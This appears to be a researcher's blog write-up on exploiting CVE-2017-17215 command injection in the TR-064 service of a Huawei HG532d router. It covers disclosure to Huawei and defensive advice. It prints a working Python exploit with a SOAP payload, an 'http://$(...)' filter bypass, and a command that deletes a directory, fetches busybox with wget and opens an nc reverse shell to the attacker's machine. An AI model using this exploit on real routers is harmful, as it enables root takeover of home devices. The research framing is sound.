Huawei HG532d RCE Exploit

In this article, I present my work on exploiting an RCE vulnerability on a HG532d device, and getting remote shell access. Also, how the security countermeasures advised by Huawei does not stop attacks originating from within the local network, and what you can do to protect yourself.

Introduction

The Huawei HG532d is a high-speed 300Mbps Wireless ADSL2+ Router designed for home and small office use. In late 2017, a vulnerability (CVE-2017–17215) that exists on a similar device from the same series — HG532 — allows remote code execution (RCE) on the device. This allows an attacker to get malicious code executed on the device.

Huawei HG532d Wireless Router

Background

In late November of 2017, security researchers from Checkpoint research labs release a report detailing the vulnerability (CVE-2017–17215) they discovered that affects Huawei HG532 — a variant of our HG532d, probably running similar firmware. The vulnerability is based on the Universal Plug and Play (UPnP) TR064-Standard service running on the device.

What is TR-064?

To allow ease of configuration and management of embedded devices on the customers’ end, the TR-064 standard was developed. It is a protocol that allows easy configuration, firmware upgrades, and other management activities of a device from the local network side of the device user.

The Vulnerability

The vulnerability originates from a lack of proper input sanitation done on the device when processing the HTTP POST request that is sent to “/ctrlt/DeviceUpgrade_1” — the URL where the TR-064 service is running on the device for firmware upgrades.

Details of the vulnerability can be found in the CheckPoint report.

HTTP POST Request Vulnerability

In the case of the HG532 device, the TR-064 service runs on TCP port 37215 as described in the report.

Scanning the Target.

With the notion that the same flaw might exist on my device (HG532d), I ran an Nmap SYN scan on TCP port 37215. The scan result shows the port is “open” and responding back. This supports my underlying theory that similar firmware as the HG532 was used on this particular device as well.

Nmap SYN Scan of TCP Port 37215

There is already a proof of concept (PoC) Python exploit code available online that targets this vulnerability on the HG532. Since both devices are from the same series, the question is, will the same vulnerability exists on both devices? Can this exploit also work on the HG532d? Only one way to find out, which is to test the exploit code on our target device, the HG532d!

Testing the Exploit

After downloading the exploit and analyzing it, I encountered a minor obstacle. The payload in the downloaded exploit was simply the shell command (the cmd variable in the python snippet below) that you wish to execute on the device.

import threading, sys, time, random, socket, re, os, struct, array, requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = "" # Your MIPS (SSHD)
rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

Source: https://www.exploit-db.com/exploits/43414

However, the problem is that I don’t know exactly what binaries are present on the device. Well, there are some common Linux utilities such as ls, cd, cp, etc… that are almost always present in an embedded Linux firmware, but other than that, we don’t really know what else is there.

HG532d firmware

Luckily, turns out there is an HG532d firmware provided by my ISP some years back. If my memory serves me right, I think it was provided back then to update the old version of the firmware to resolved a connection issue.

So using binwalk, I began the firmware extraction process. After a few seconds, the firmware file extracts successfully. All the firmware files including the lzma compressed Linux kernel plus the squashfs root filesystem were unpacked.

HG532d firmware extraction

Analyzing the root filesystem

I began analyzing the directories and files in the extracted filesystem. When I came to listing the contents of “/usr/bin” directory, I found a useful piece of utility — wget.

HG532d firmware directory listing

This is an excellent find. The payload section of the exploit can now be rewritten to execute wget, temporarily download nc (netcat) onto the device, and set it up for reverse shell access.

So, it’s just a matter of setting up a simple file server (Apache in this case) and configure it to serve busybox (a software suite that provides several Unix utilities in a single executable file — including netcat).

I edited the payload shell command to download the busybox binary, chmod to fix file permissions, and try establishing a reverse shell connection back to my machine via nc.

import threading, sys, time, random, socket, re, os, struct, array,requests
from requests.auth import HTTPDigestAuth
ips = open(sys.argv[1], "r").readlines()
cmd = 'rm -rf /var/tmp; mkdir /var/tmp; /usr/bin/wget -g -l /var/tmp/busybox-mips -r /busybox-mips 192.168.1.7; chmod 755 /var/tmp/busybox-mips; /var/tmp/busybox-mips nc 192.168.1.7 1234 -e /bin/sh'

Note: The /var directory was used to save the busybox binary because that is the only directory that works. The other directories such as /usr/bin , /bin , /tmp, when tested were unsuccessful. The directories could be read-only since we’re dealing with a SquashFS filesystem.

To verify success or failure of the test, a crude testing and debugging method was employed. I fired up Wireshark to capture traffic flowing between my machine and target device, specifically traffic going to TCP port 37215 and localhost HTTP port (TCP 80). Everything was set. Only thing left was to put the tweaked code to test.

The Outcome of Test

I executed the exploit and the result was — nothing. Netcat didn’t receive any incoming connection :(

Netcat — no incoming connection

Tough luck! The HG532 exploit does not work out of the box on HG532d. So my theory that the same flaw might exist on both devices did not hold here.

In Wireshark, there was an HTTP 500 error response. Within the XML response data, there was an “<errorDescription>” XML element with value of “Invalid Args”.

HTTP 500 Error Response

Discovering the flaw

Took a while testing all sorts of command injection techniques. I would research online, edit the exploit, retest, fail the test, rinse and repeat. It went on for some weeks, until finally something interesting came to attention.

When the value of <NewStatusURL> XML element was set to begin with “http://” as shown below, the device responded with an HTTP 200 OK, instead of the HTTP 500 Error. Seems like the device’s response depends on that text value beginning with or without the “http://” string.

rm = "<?xml version=\"1.0\" ?>\n    <s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n    <s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n    <NewStatusURL>http://$(" + cmd + ")</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n    </s:Body>\n    </s:Envelope>"

My guess is that the device is likely performing an input validation check. If validation fails, then it just spews out the HTTP 500 with XML element <errorDescription>Invalid Args</errorDescription>.

So what if the exploit was modified by adding “http://” in front of the meta-shell character ‘$()’ ?

I did a quick change and retested the exploit — and VOILA! A reverse shell connection was established back to my machine.

Reverse shell access established

Running whoami shows we have root privileges — even better. No need for privilege escalation headaches.

Countermeasures (from OEM)

I contacted Huawei’s PSIRT (product security) about this new find, and not surprisingly they replied saying that the vulnerability is the same as the HG532. The email response said that “The issue you mentioned had fixed in 2018 and you can find the security notice at this link. https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en”

The security notice basically advises the affected users to take the following counter measures.

Customers can take the following measures to circumvent or prevent the exploit of this vulnerability. For details, consult the local service provider or Huawei TAC.

(1) Configure the built-in firewall function.

(2) Change the default password.

(3) Deploy a firewall at the carrier side.

Protection Shortcomings

As now shown, the vulnerability in HG532 also exist in HG532d. So, what about the three counter measures listed above, do they work? Well, those measures are targeted towards protection from the internet-facing end of the device (WAN side).

However, all 3 measures fail when attacks originate from within the local network side (LAN-facing end).

I tried configuring the built-in firewall within the device to block incoming connections to port TCP 37215, and guess what — the attack still works.

There are many ways attacks can be launched from local network side. For demo purpose, I have written a simple PoC html exploit, that when loaded unknowingly by a victim’s web browser (using social engineering tactics) from the internet, will simply reboot the victim’s device.

What You Can Do

Your best option would be to install and configure a firewall within your local network to prevent TCP 37215 traffic destined for the HG532d. If that is not an option for you, you could try configure your computer’s firewall (Windows Firewall, Linux Iptables). For mobile devices, there is very limited what you can do when it comes to firewall, unless your device is rooted (or jailbreaked) which for the average user, is not the case.

Final Thoughts

Users of this device should be wary of this vulnerability. This vulnerability is serious enough that an attacker could for instance forge DNS responses, run MITM attacks to steal login credentials for your bank, social media accounts, email, or even turn your device into part of a botnet without you even knowing.

Thanks for reading. If you have questions or concerns regarding this article, feel free to reach me via Twitter.

References

HG532d firmware and RCE: https://github.com/wilfred-wulbou/HG532d-RCE-Exploit

CVE Details: https://nvd.nist.gov/vuln/detail/CVE-2017-17215

Original PoC exploit source: https://www.exploit-db.com/exploits/43414

CheckPoint Vulnerability Report: https://research.checkpoint.com/2017/good-zeroday-skiddie/

Huawei Security Notice: https://www.huawei.com/en/psirt/security-notices/huaweisn-20171130-01-hg532-en

Mirai Botnet Variant spread Using HG532: https://threatpost.com/huawei-router-vulnerability-used-to-spread-mirai-variant/129238/